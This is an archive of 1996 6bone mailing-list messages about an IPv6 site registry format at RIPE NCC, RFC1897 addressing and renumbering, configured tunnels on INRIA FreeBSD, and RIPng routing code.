Sorry for this much belated message. I have been extremely busy
with a number of other things, and small problems like a 
summer cold and equipment problems (I learned more about
incompatibility with PC keyboard controllers than I ever wanted
to know while setting up an IPv6 testbox for the NCC..)

Moreover, as we're in the process of replacing our computing equipment,
I wanted to migrate some NCC services to new machines before adding
things like the ip6rr to it. As far as our FTP server, that's
completed now; I needed that machine (see below)

In the mean time, several people have posted their setup on the 6bone
mailing list. This was very useful to me because it allowed me to
look at requirements people have.

The 6bone, certainly in its current state, is quite a bit different
from the regular IP4 network we all know. To rephrase, the 6bone 
in its current state, is
- - A virtual network
- - Exists of a dozen islands or so
- - Multiple prefixes on an island are possible
- - (for now), routes between islands are configured statically.
- - DNS IP6 is till in the startup phase and I think it's unwise to
  depend on it now.

While the IPv4 RR uses IP addresses as its main search key,
that is probably not very useful for the 6bone. Instead, 
I think that it is more important to find out about other islands
on 6bone and how to get there.

IPv6 index capabilities have been added in the RIPE database software
last week. However, at this stage the database is not as useful
as I want it to be because it is prefix-based too, and it it
not possible to ask 'give me all the islands' currently.
Also, I expect that the 6bone requirements are going to change
fairly soon as the thing evolves.
For this reason, I propose to use a public FTP server as drop-point
at this time, but at the same time keep the data in the 'database'
machine-readable as much as possible to allow for easy migration
to the database as soon as there is a need for it.
Using the FTP server now gives a little extra flexability which
is probably useful at this stage. For instance, 'mget *'
gets you a complete overview of the 6bone.

To access the FTP 'database', use the following url:
	ftp://ftp.ripe.net/ipv6/ip6rr/
While I would like to have a public writable FTP directory,
I'm concerned about people deleting files, adding 'makemoneyfast.txt'
files, etc. For this reason, I added a group password; it is OK
to publish the password on the 6bone list but it should probably
be a shared secret among list members
To get write-access, use:
	site group ip6rr
	site gpass 6bone

For those who have never used the RIPE-database before, I think that
a short introduction is helpful (while we don't use the database,
we'll use the database format). 
The attributes for objects in the database have the following format:
	attribute1:	value
	attribute2:	value
This helps to make the data machine-readable.
Attributes can be mandatory or optional.
Likewise, some attributes may only be allowed in single instances,
while other attributes can have multiple instances.

To introduce the proposed format, I'd like to show how our entry
might look like:

site:		RIPE NCC
location:	Amsterdam, The Netherlands
loc-string:	33 40 10n 117 49 20w 10m
prefix:		5f0d:0500:c100:0000/64
ping:		5f0d:0500:c100:0000::234
tunnel:		193.0.0.234 10.10.10.10 other-site
contact:	IP6 operations <ip6ops@ripe.net>
status:		example
remark:		this is only an example!
changed:	GeertJan.deGroot@ripe.net 960725
source:		RIPE

Attiribute-definition:
site:	<text> [single, mandatory]
	This is the name of the 'island' in freetext format.
	Obvious examples are 'NRL', 'Digital', 'INRIA', ...

location: <text> [multiple, optional]
	This explains where the site is located.

loc-string: <text> [single, optional?]
	This is the location in lat/longitude format. 
	There is a proposal in draft-ietf-rps-location-00.txt
	which I'm copying as I have not thought about this myself yet.

prefix:	<ip6num>/<prefixlen> [multiple, mandatory]
	This documents which prefixes are used within the island.
	I hope this will be sufficient for 'route add' statements
	and the like. They should be RFC1897 addresses at this time.
	XXX ip6 compatible addresses?

ping:	<ip6num> [multiple, optional]
	Address of a host that is likely to be available to ping.

tunnel:	<myhost> <remotehost> <other-site> [multiple, mandatory]
	This documents how a tunnel is built. I'm not really
	confident if this is sufficient in all cases
	(automatic tunneling? single hosts? 'native' IPv6 lines?).
	other-site should be the name of another site: object.

contact: <rfc822-address> [multiple, mandatory]
	The contact address for this island, for setup of new
	tunnels and all that. It has been suggested to me that
	NIC-handles (or RIPE-handles) should also be accepted here;
	is this acceptable to the group?

status:	<operational/planned/down> [single, mandatory]
	The operational status of the island. 

remark:	<freetext> [multiple, optional]
	Other useful comments you may have

changed: <rfc822-address> <date-yymmdd> [multiple, mandatory]
	When the object was last changed, and by whom. While
	people are primary responsible for their objects themselves,
	experience has shown that in some cases others might
	want to make a change too. 
	If you're changing your own object, replace the changed: line;
	if you're changing someone else's, append a new line and leave
	the old one intact.

source:	<RIPE> [single, mandatory]
	This is used for for exchange of data with other databases.
	It is currently a fixed value, 'RIPE'.


Open issues:
1. I'm not confident about the tunnel syntax. I'd like to make it complete
   enough so that one stands a fighting chance setting up the local end
   of a tunnel correctly (so that one only has to send 'this is my end;
   I assume that's your end, can we tunnel') but I don't know if
   all cases can be described accurately.
   (single hosts with automatic tunneling?)
2. Do you think that the latitude/longitude thing is sufficient?
   I wouldn't know how to get to this information easily
   (the data in the example is from the draft and thus somewhere
   in California..)
3. In the 'regular' database, contact persons are split up in 
   administrative and technical contacts, and the contact names
   point recursively to 'person objects'.
   (for those who never have seen this, telnet to whois.ripe.net
   and play around if you want).
   I don't think that that approach is appropiate at this time;
   we can always migrate to it once we're using the database.
4. Work on the database version is in progress, thanks to work
   by its current maintainer, David Kessens. 
   This is an example of what is possible now:

	$ whois -h whois.ripe.net 5f0d:0500:c100:0000::/64

	inet6num:    5F0D:500:C100::0/64
	netname:     RIPE-NCC-RFC1897
	descr:       IPv6 RFC 1897 test allocation for RIPE NCC
	country:     NL
	admin-c:     GJD8
	tech-c:      GJD8
	remarks:     Experimental on 6bone!
	notify:      GeertJan.deGroot@ripe.net
	changed:     geertJan.deGroot@ripe.net 960801
	source:      RIPE
	
	person:      Geert Jan de Groot
	address:     RIPE Network Coordination Centre (NCC)
	address:     Kruislaan 409
	address:     NL-1098 SJ Amsterdam
	address:     Netherlands
	phone:       +31 20 592 5065
	fax-no:      +31 20 592 5090
	e-mail:      GeertJan.deGroot@ripe.net
	nic-hdl:     GJD8
	remarks:     Pager (emergencies only) +31 6 59957375
	changed:     GeertJan.deGroot@ripe.net 950706
	source:      RIPE

   You'll notice that this is not a registered route but a prefix,
   but the object definition can be changed as desired.
   (oh, and David just informed me that he's working on the whois server,
   so it may not work if you'd try now; hopefully in a day or so)


That's as far as I got. Please advise if you think this is useful,
or if I'm way off. 

Geert Jan 
(with credit to David for some last-minute hacks..)


------- End of Forwarded Message


From majordom@ISI.EDU  Fri Aug  2 02:15:23 1996
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Message-Id: <199608012215.AAA00425@berklix.ripe.net>
To: bound@zk3.dec.com
Cc: 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: 6bone DNS Servers 
In-Reply-To: Your message of "Thu, 01 Aug 1996 12:28:38 EDT."
             <9608011628.AA29421@fwasted.zk3.dec.com> 
Date: Fri, 02 Aug 1996 00:15:23 +0200
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

(I hope this message gets reflected by the list; I'm still
having problems. Can people please ack?)

On Thu, 01 Aug 96 12:28:38 -0400  bound@zk3.dec.com wrote:
> I will be setting up our DNS Server for our AAAA records tomorrow for
> our node(s).  Who can I feed our DNS records for the 6bone?
> 
> Geert? Bill Manning?

Great!

The ip6.int records are handled by Bill. I guess that the forward
zone is something.dec.com so that can be arranged in-house by DEC?

Am I missing something?

Geert Jan

From majordom@ISI.EDU  Sun Aug  4 16:38:28 1996
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Date: Sun, 4 Aug 1996 23:38:28 -0700
To: 6bone@ISI.EDU
From: Bob Hinden <hinden@ipsilon.com>
Subject: 6bone Routing [was RIPng & tunnels]
Cc: hinden@ipsilon.com
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Folks,

The address allocation scheme defined in RFC1897 uses the autonomous system
as the top level of the address.  The intent behind this (besides making
address allocation easy) was that there would be one route per organization
having a set of IPv6 nodes.  All of the routes in one organization
(identified by the AS number) should aggregate into one route.  Seems to me
that until we get many thousands of organizations on the 6bone, this is not
too many routes.  I even think that it would be good to get some early
experience with large IPv6 routing tables.

When the 6bone grows out of this AS style of routing, we can start
renumbering the organizations to either aggregatable AS numbers or
(probably better) real IPv6 addresses as specified in the unicast address
allocation document.  I think it will be a very good thing if we get some
early experience runumbering IPv6 nodes.  We should not try very hard to
avoid this.

From this I would see the following steps:
Status: RO

  1) Start with static routes (what we are doing today)
  2) Install RIPng on 6bone routers create a reasonable routing topology (some
     alternative paths, try to avoid multiple ocean hops)
  3) At some point (when routing tables get too big or routing traffic
     exceeds some limit) renumber the IPv6 nodes reduce the number of
     routes (greater aggregation).

Comments?

Bob




From majordom@ISI.EDU  Mon Aug  5 04:58:46 1996
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Date: Mon, 05 Aug 1996 09:58:46 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: 6bone Routing [was RIPng & tunnels]
In-Reply-To: "04 Aug 1996 23:38:28 PDT."
 <"v03007802ae2b41013000"@[205.226.7.88]>
To: Bob Hinden <hinden@ipsilon.com>
Cc: 6bone@isi.edu
Message-Id: <199608051458.JAA20346@munin.fnal.gov>
Content-Transfer-Encoding: 7BIT
X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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> The address allocation scheme defined in RFC1897 uses the autonomous system
> as the top level of the address.  The intent behind this (besides making
> address allocation easy) was that there would be one route per organization
> having a set of IPv6 nodes.

Actually, it says to use the AS of your provider.  Thus, even though
FNAL has an AS, I'm using an AS of ESNET's in my IPv6 prefix.

> I think it will be a very good thing if we get some early experience
> runumbering IPv6 nodes.  We should not try very hard to avoid this.

Absolutely.  If renumbering is proven to be "easy" (in some reasonable
metric), many objections vaporize.

				Matt

From majordom@ISI.EDU  Mon Aug  5 06:45:54 1996
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To: Bob Hinden <hinden@ipsilon.com>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Sun, 04 Aug 96 23:38:28 PDT."
             <v03007802ae2b41013000@[205.226.7.88]> 
Date: Mon, 05 Aug 96 10:45:54 -0400
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Bob
,
This sounds good to me.  One issue I just found though which is logistical 
is that I know of two customers that will ask very soon for REAL IPv6 
addresses and begin to deploy them.  They will join the 6bone and use 1897 
but clearly this will be a pain and they don't want to have to IPv6 
address AS's.

Comments?

/jim



From majordom@ISI.EDU  Mon Aug  5 01:47:13 1996
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References: Your message of "Sun, 04 Aug 96 23:38:28 PDT."            
 <v03007802ae2b41013000@[205.226.7.88]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 5 Aug 1996 08:47:13 -0700
To: <bound@zk3.dec.com>
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: 6bone Routing [was RIPng & tunnels]
Cc: Bob Hinden <hinden@ipsilon.com>, 6bone@ISI.EDU
Sender: owner-6bone@ISI.EDU
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Status: RO

Jim,

>This sounds good to me.  One issue I just found though which is logistical
>is that I know of two customers that will ask very soon for REAL IPv6
>addresses and begin to deploy them.  They will join the 6bone and use 1897
>but clearly this will be a pain and they don't want to have to IPv6
>address AS's.

Yes, this would be good.  I think we need to get all of the registries
involved.  The work Geert Jan is doing at RIPE is a great first step.

Bob



From majordom@ISI.EDU  Mon Aug  5 20:10:32 1996
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To: bound@zk3.dec.com
Cc: Bob Hinden <hinden@ipsilon.com>, 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Mon, 05 Aug 1996 10:45:54 EDT."
             <9608051445.AA08737@fwasted.zk3.dec.com> 
Date: Mon, 05 Aug 1996 18:10:32 +0200
Sender: owner-6bone@ISI.EDU
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Status: RO

On Mon, 05 Aug 96 10:45:54 -0400  bound@zk3.dec.com wrote:
> This sounds good to me.  One issue I just found though which is logistical 
> is that I know of two customers that will ask very soon for REAL IPv6 
> addresses and begin to deploy them.  They will join the 6bone and use 1897 
> but clearly this will be a pain and they don't want to have to IPv6 
> address AS's.

There is no such thing as real IPv6 addresses. It shouldn't be needed
either; if people can't renumber at the flick of a switch, then I don't
think we have met all the requirements for IPv6.

I have suggested it before, but I think it's worth repeating:
when developments gets a little further, then I think it makes
sense to make some kind of 'master-router-announcer' that would
'announce' the prefix of 6bone. This prefix would change frequently
(I'm thinking about 15 minutes, but one day is acceptable),
and the whole cloud would automatically renumber and phase out the
old prefix.

This would just be an experiment but it would make clear we're
serious about easy renumbering; also, it would make sure that
renumbering actually is simple.

Said otherwise: I don't see that using 1897 addresses would be a pain.

geert jan

From majordom@ISI.EDU  Mon Aug  5 09:48:59 1996
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Date: Mon, 5 Aug 96 13:48:59 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <9608051748.AA14529@pobox.BayNetworks.com>
To: GeertJan.deGroot@ripe.net
Subject: Re: 6bone Routing [was RIPng & tunnels]
Cc: 6bone@isi.edu
Sender: owner-6bone@ISI.EDU
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Status: RO

Jan,

> 
> There is no such thing as real IPv6 addresses. It shouldn't be needed
> either; if people can't renumber at the flick of a switch, then I don't
> think we have met all the requirements for IPv6.
> 
> I have suggested it before, but I think it's worth repeating:
> when developments gets a little further, then I think it makes
> sense to make some kind of 'master-router-announcer' that would
> 'announce' the prefix of 6bone. This prefix would change frequently
> (I'm thinking about 15 minutes, but one day is acceptable),
> and the whole cloud would automatically renumber and phase out the
> old prefix.
> 


Given that routers don't act on Router Advertisements from other routers
I have a hard time to see how the 'master-router-announcer' can make
the whole IPv6 cloud to renumber.  As it stands now, it would require
flicks of many switches (as many as there are routers) to renumber
the entire cloud.  It might be possible (albeit hard) to renumber by commands
from a maser network management station provided we had a set of standard
configuration tools implemented by every router vendor.  But this is not
here as yet.  Any news from the IPv6 MIB WG, BTW?

Dimitry

From majordom@ISI.EDU  Mon Aug  5 23:51:45 1996
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To: Bob Hinden <hinden@ipsilon.com>
Cc: bound@zk3.dec.com, 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Mon, 05 Aug 1996 08:47:13 PDT."
             <v03007801ae2bc6aa7f0e@[205.226.1.20]> 
Date: Mon, 05 Aug 1996 21:51:45 +0200
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Status: RO

On Mon, 5 Aug 1996 08:47:13 -0700  Bob Hinden wrote:
> >This sounds good to me.  One issue I just found though which is logistical
> >is that I know of two customers that will ask very soon for REAL IPv6
> >addresses and begin to deploy them.  They will join the 6bone and use 1897
> >but clearly this will be a pain and they don't want to have to IPv6
> >address AS's.
> 
> Yes, this would be good.  I think we need to get all of the registries
> involved.  The work Geert Jan is doing at RIPE is a great first step.

Maybe I should elaborate on my previous message.
I apologise that it's a little bit offtopic for the 6bone list,
but since the topic was brought up here, I hope this is useful.

It seems we're having different ideas on the usability of RFC1897 
addresses and the need to renumber.

As far as the registry work is concerned, we're  getting close to be able
to assign address space.  Software to register IPv6 address space is
currently experimental but initial tests work. This software is used
by the RIPE NCC, and similar code is used by APNIC; 
the Internic uses a totally different package.

A few things are missing. One is assignment guidelines; should we always
assign /64 prefiexes, and to whom? Should each department of a company
obtain its own prefix, or should they work this out internally.
Keep in mind that IMHO the IPv4 'scarcity' isn't caused by amount of
machines, but assignment efficiency; the whole Internet still fits 
in less than one A.

Another thing, and I'm really speaking outside my own department here,
is the way address space is assigned. For IPv4, the RIPE NCC only
accepts requests from contributing registries (we don't get NSF funding).
How this applies to IPv6 space, I don't know; if you want me to bring this
up internally, tell me privately. 

Personally I expected the issue of non-1897 IPv6 addresses to be 
one year away at this time.

But what I'm really concerned with is the push Jim showed to get 
'real' addresses, I assume because he didn't want his customers
to renumber.
That really scares me. One of the big plusses for IPv6 is that
renumbering is supposed to be easy. Aren't we sending out the wrong
message if for initial deployment, we publically push for
'final' IPv6 assignments? 
Don't get me wrong: I think that having first customers using 
this 'for real' is quite a result, but I'm concerned about 
the precedent it sets and the message it sends out.

That's why I'm not very enthousiastic about non-1897 addresses.
If I'm dead wrong, enlighten me.

Geert Jan


From majordom@ISI.EDU  Mon Aug  5 18:28:11 1996
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To: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
Cc: 6bone@isi.edu
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Mon, 05 Aug 96 18:10:32 +0200."
             <199608051610.QAA09477@kantoor.ripe.net> 
Date: Mon, 05 Aug 96 22:28:11 -0400
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Geert,

>> This sounds good to me.  One issue I just found though which is logistical 
>> is that I know of two customers that will ask very soon for REAL IPv6 
>> addresses and begin to deploy them.  They will join the 6bone and use 1897 
>> but clearly this will be a pain and they don't want to have to IPv6 
>> address AS's.
>
>There is no such thing as real IPv6 addresses. It shouldn't be needed
>either; if people can't renumber at the flick of a switch, then I don't
>think we have met all the requirements for IPv6.

Even with IPv6 its still going to be painful.  If customers are going to
move to IPv6 they will want to avoid instantaneous renumbering.  We need
to be realistic here.

I have an idea.  Stay tuned.

So your not going to set up the registries as Bob pointed out?

/jim

From majordom@ISI.EDU  Mon Aug  5 18:55:28 1996
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To: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
Cc: 6bone@isi.edu
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Mon, 05 Aug 96 21:51:45 +0200."
             <199608051951.TAA10040@kantoor.ripe.net> 
Date: Mon, 05 Aug 96 22:55:28 -0400
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Geert,

I can renuber any link with stateless or DHCPv6 pretty easy.  I think
with OSPFv6 I can probably do it quite well with the LSPs using
link-local addresses instead of global addresses.  So for sure the
infrastructure of IPv6 will work well.  But that does not account for
many other things.

1.  I still don't have away to propogate my prefix from the ISP to my
backbone.

2.  If you read the PIER reqs its dependent on hosts changing lots of
stuff and routers to make renumbering pleasant.  I think it will take at
least 2 years for vendors to get smart and wake up to those changes and
get them in "real" products.

3.  I think customers want IPv6 RIGHT NOW and as far as they are
concerned the Internet has already melted down.  They are going to build
their Intranets with IPv6 if they can.  They would like to understand
how they will get the prefixes in their routers (for stateless) and
servers (for DHCPv6).  They don't want to depend on 1897 to build a real
IPv6 back-bone network.  I think a year is reasonable as it will take
them that long to get up to speed.  I will also tell you that there is a
bunch of unhappy users out there who have been given a load of garbage
about IPv6 from someone.  I have just connected with 3 large fortune 100
and International accounts as they wanted to talk to the engineer and me
directly.  They want IPv6 and they want it right now.  If they have to
they will replace existing equipment from people who don't support it.
This is what I predicted would happen and force the market 3 years ago.
I think its going to happen very quickly.

This is why we cannot treat the 6bone as the Mbone.  The Mbone is very
useful but I don't have customers asking me to put it into the very
heart of their network backbones.  For IPv6 I do.  Note Dynamic DNS
Updates is another one RIGHT NOW.  

To make matters better.  I am going to take the time to train at least
15 Tech Support folks who will each train 15 more and 15 more etc.  In
addition in the U.S. from Sept - Dec 1996 there will be an intensive
IPv6 set of Seminars across the U.S. in most major cities.  So by Jan 97
I think we will have a greater req for IPv6 in the market.  This way I
can stay home and do what I like which is engineering.

4. The last thing is the idea of renumbering.  Its a lot of up front
work for the customer.  Its like trying to get user requirements out of
them for an application.  They want to spend as little time with that as
possible.  

Even with IPv6 it just is not as easy as our mail makes it sound here or
on PIER.  With IPv4 I have been told they will not even bother and just
move to IPv6.  

/jim


From majordom@ISI.EDU  Tue Aug  6 21:29:33 1996
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To: bound@zk3.dec.com
Cc: 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: 6bone Routing [was RIPng & tunnels] 
In-Reply-To: Your message of "Mon, 05 Aug 1996 22:28:11 EDT."
             <9608060228.AA17088@fwasted.zk3.dec.com> 
Date: Tue, 06 Aug 1996 19:29:33 +0200
Sender: owner-6bone@ISI.EDU
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Status: RO

On Mon, 05 Aug 96 22:28:11 -0400  bound@zk3.dec.com wrote:
> >There is no such thing as real IPv6 addresses. It shouldn't be needed
> >either; if people can't renumber at the flick of a switch, then I don't
> >think we have met all the requirements for IPv6.
> 
> Even with IPv6 its still going to be painful.  If customers are going to
> move to IPv6 they will want to avoid instantaneous renumbering.  We need
> to be realistic here.
> 
> So your not going to set up the registries as Bob pointed out?

If you need non-RFC1897 IPv6 addresses, I think you should talk to IANA
as IANA has not mandated the registries to do that yet. As I explained,
some things are simply not set up for it yet, and the best way to 
make this going is to talk to Jon.

On the other hand, I don't see much advantage to using different
addresses. 1897 addresses are globally unique, don't have a fixed
lifetime (they will disappear someday, but not in the forseeable
future - they aren't net39 addresses with a fixed 'no good after' date). 

What _is_ lacking is aggregation possibilities. 
However, should 'real' address space be assigned at this time,
then these addresses would not be aggregatable either, so
unfortunately it looks like your customers will need to renumber
anyway. Can you provide technical motivation why renumbering from
'real' addresses would be better than renumbering from 1897 addresses?

Again, please talk to Jon about your needs. It hasn't been discussed much
between IANA and the regional registries yet, so if you want to
start it, go ahead. Please understand that I don't want to hamper you
but I'm just asking the same questions Jon would probably do.

geert jan

(I'd like to take this offline, is that OK?)


From majordom@ISI.EDU  Tue Aug  6 05:01:23 1996
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References: Your message of "Mon, 05 Aug 1996 22:28:11 EDT."            
 <9608060228.AA17088@fwasted.zk3.dec.com>
Mime-Version: 1.0
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Date: Tue, 6 Aug 1996 12:01:23 -0700
To: bound@zk3.dec.com, Geert Jan de Groot <GeertJan.deGroot@ripe.net>
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: 6bone Routing [was RIPng & tunnels]
Cc: 6bone@ISI.EDU
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Status: RO

Geert Jan, Jim,

>Again, please talk to Jon about your needs. It hasn't been discussed much
>between IANA and the regional registries yet, so if you want to
>start it, go ahead. Please understand that I don't want to hamper you
>but I'm just asking the same questions Jon would probably do.

I will start a converstion with Jon.  I think it is time we get this started.

In the mean time, we should all continue using the RFC1897 style addresses.
We should not slow the 6bone effor down waiting for registry assigned
addresses to appear.

Bob



From majordom@ISI.EDU  Tue Aug  6 16:08:29 1996
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Message-Id: <199608070008.UAA25901@merit.edu>
To: 6bone@isi.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Thu, 25 Jul 1996 19:14:17 EDT."
             <199607252314.TAA22654@home.merit.edu> 
Date: Tue, 06 Aug 1996 20:08:29 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
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Status: RO

6bone folks,

I previously reported how to make a configured tunnel on inria
ipv6 freebsd version, but I found another better way.

If you use a configuration similar to that I posted before, you
will see that all outgoing packets generated on that machine for
the configured tunnel have a compatible address as its source,
which means that returning packets will be through automatic
tunneling. I learned how the inria ipv6 implemented configured
tunneling, and found the following way.

ifconfig sit0 inet6 fe80::c0:f000:e59a
route -n add -inet6 -net fe80::c051:6042/128 ::192.168.10.103
ifconfig sit0 inet6 5f00:ed00:c66c:3c00::153
route -n add -inet6 -net 5f00:ed00:c0a8:0a00::/80 ::192.168.10.103

In this case, the destination has a link-local address as well as
a global one. When sending a packet destined to one of them, its
source address will be corresponding one. I believe this doesn't
affect automatic tunneling.

Masaki

From majordom@ISI.EDU  Tue Aug  6 16:17:10 1996
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Message-Id: <199608070017.UAA26022@merit.edu>
To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?= <kazu@is.aist-nara.ac.jp>
Cc: 6bone@isi.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Tue, 30 Jul 1996 19:06:09 +0900."
             <12133.838721169@mine.aist-nara.ac.jp> 
Date: Tue, 06 Aug 1996 20:17:10 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Kazu,

I wrote this a couple of days ago, but it seems I've forgot to
send.

> Gee. Why don't you, a member of WIDE project, use one of WIDE
> implementations? Actually Nara implementation provides a good
> and

I personally tried. You may remember I asked you. Our main
purpose is to implement ipv6 routing protocols, currently working
on ripng, so we'll use an ipv6 kernel which provides functions we
need. INRIA version is almost enough. I tried Solaris one, but I
need to wait its next release due to luck of setsockopt extension
for ipv6 multicasting, although their ripng is working on solaris.

To implement ripng, we need,

o Basic Socket Interface Extensions for IPv6 defined in the draft,
o ipv6 extension to socket ioctl's to obtain interface info, 
o ipv6 extension to access method to kernel resident routing table,
o ipv6 link-local multicasting and related setsockopt functions, and
o handling link-local addresses properly with Neighbor Discovery
  even in case of multiple ethernet interfaces.

Ripng on solaris sends an update packet with a global ipv6
address as its source, and our current implementation does so.
Ripng ID says that a link-local address must be used. So,
capability to bind a socket with a link-local address will be
needed. And also, the routing daemon wants to identify the
incoming interface even for packets with a link-local source
address. Neighbor Discovery may be able to ask all the interfaces
where that link-local address is on (although the cache may
answer). I know INRIA version does well in part.

When these become available on your implementation, I'd like to
try it. Thanks.

Masaki

From majordom@ISI.EDU  Tue Aug  6 16:27:04 1996
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Message-Id: <199608070027.UAA26124@merit.edu>
To: shand@shand.reo.dec.com (Mike Shand REO2 G/C2 DTN:830-4424)
Cc: 6bone@ISI.EDU
Subject: Re: RIPng 
In-Reply-To: Your message of "Thu, 01 Aug 1996 10:53:47 BST."
             <9608010953.AA12503@shand.reo.dec.com> 
Date: Tue, 06 Aug 1996 20:27:04 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
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Status: RO

6bone folks,

We made ripng in MRT able to work even on configured
tunneling. As I reported just before, we can use both link-local
and global addresses on a configured tunnel of inria ipv6.

We currently use the same link-local address with one of ethernet
interfaces attached. I think it's OK because the destination
address should be used to identify interfaces in case of
point-to-point. It seems that the draft "Identifying IPv6
Interfaces in Link-Local Addresses" doesn't say about
poin-to-point network like the ripng draft doesn't.

I hope inria ipv6 provides pseudo interfaces which correspond
each configured tunnels respectively so that a routing daemon can
easily know its configuration and status. And, I also hope the
kernel automatically (or provides a way to) switch a source
address of outgoing packets to a link-local address even in case
of the packet destined to a link-local multicasting address.

I haven't made our code to use multicasting on a configured
tunnel because I understood it doesn't matter for now. However, I
believe the kernel should support multicasting even on a
configured tunnel because it will help introducing global
multicasting over the 6bone. I think we will not build 6Mbone
over 6bone.

Masaki

From majordom@ISI.EDU  Wed Aug  7 12:19:50 1996
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To: Masaki Hirabaru <masaki@merit.edu>
Cc: 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: RIPng 
In-Reply-To: Your message of "Tue, 06 Aug 1996 20:27:04 EDT."
             <199608070027.UAA26124@merit.edu> 
Date: Wed, 07 Aug 1996 10:19:50 +0200
Sender: owner-6bone@ISI.EDU
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On Tue, 06 Aug 1996 20:27:04 -0400  Masaki Hirabaru wrote:
> We made ripng in MRT able to work even on configured
> tunneling. As I reported just before, we can use both link-local
> and global addresses on a configured tunnel of inria ipv6.

Can you make this code available somewhere?

Geert Jan


From majordom@ISI.EDU  Thu Aug  8 08:04:26 1996
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To: shand@shand.reo.dec.com (Mike Shand REO2 G/C2 DTN:830-4424 Mike Shand REO2 G/C2 DTN:830-4424)
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: RIPng 
In-Reply-To: shand's message of Thu, 01 Aug 96 02:53:47 -0800.
             <9608010953.AA12503@shand.reo.dec.com> 
Date: Thu, 8 Aug 1996 15:04:26 PDT
From: Steve Deering <deering@parc.xerox.com>
Message-Id: <96Aug8.150426pdt."75270"@digit.parc.xerox.com>
Sender: owner-6bone@ISI.EDU
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Status: RO

Mike,

> > I want to know how they implement ripng on a tunnel. ...
> 
> Well, we don't at the moment. At first sight it seems pretty trivial.
> You just define a pseudo pt-pt interface for the tunnel and run
> RIPng (or whatever other routing protocol you fancy) over that 
> interface. Presumably you assign a link local address by whatever
> means you would normally use for a pt-pt (e.g. PPP) link.

Whether or not the endpoints of a tunnel need their own link-local addresses
is an open issue.  I don't think RIPng should require that, since RIP
classically has operated fine over unnumbered p-to-p links.

> There would be no broadcast/multicasting.

Well, there's no broadcasting since IPv6 does not have broadcast addresses.
But RIPng might as well use its assigned IPv6 link-scope multicast address
for messages sent to neighbors across across p-to-p links, including tunnels,
just like on multi-access links.  The implementation of multicast on a p-to-p
link is a trivial and degenerate -- just send the packet to the other end of
the link.

> Suppose the IPv4 tunnel becomes unidirectional, either because it was
> wrongly configured, or because the underlying IPv4 routing becomes
> unidirectional. Do we need any special mehanisms to dectect such
> misconfiguiration?

Yes, I think it's important to be able to detect one-way link or interface
failures, regardless of link type.  A few of us here at PARC are currently
implementing an experimental "RIPng++" which has support for that, plus
several other extensions.  We plan to test it out on DARTnet before deciding
which specific extensions to suggest for RIPng itself.

> Do we need to send router advertisements over such a link which should
> only have another router at the other end? Presumably so, since it could
> in theory be a host running RIP in listen mode (say). etc. etc.

I hope we can get away from the use of routing-protocol-snooping by hosts.

Steve


From majordom@ISI.EDU  Thu Aug  8 15:32:00 1996
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Message-Id: <199608082332.TAA28851@merit.edu>
To: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
Cc: 6bone@isi.edu
Subject: Mrt's ripng code updated (Re: RIPng )
In-Reply-To: Your message of "Wed, 07 Aug 1996 10:19:50 +0200."
             <199608070819.KAA00204@berklix.ripe.net> 
Date: Thu, 08 Aug 1996 19:32:00 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Geert Jan and 6bone folks,

I placed the latest mrt code on:

ftp://ftp.merit.edu/net-research/mrt/mrt-1.2A.freebsd.tar.gz

Mrt's home page is http://compute.merit.edu/mrt/, but this
release is not linked from the page. This page has general
information about mrt, but I haven't updated any document related
to this ripng code. Ripng is one of protocols mrt supports.

This release has binaries compiled which run on inria ipv6
freebsd boxes.

1) change your directory to src/programs/mrt, 
2) check its default config named "config", 
   whose syntax is like cisco's, and
3) run mrt.

You can check mrt's routing table by doing "telnet localhost
5674", then typing "show ripng route" like cisco. Be careful, no
security for now.

For test, -v (verbose) and -n (not install routes into kernel)
options are available when invoking mrt.

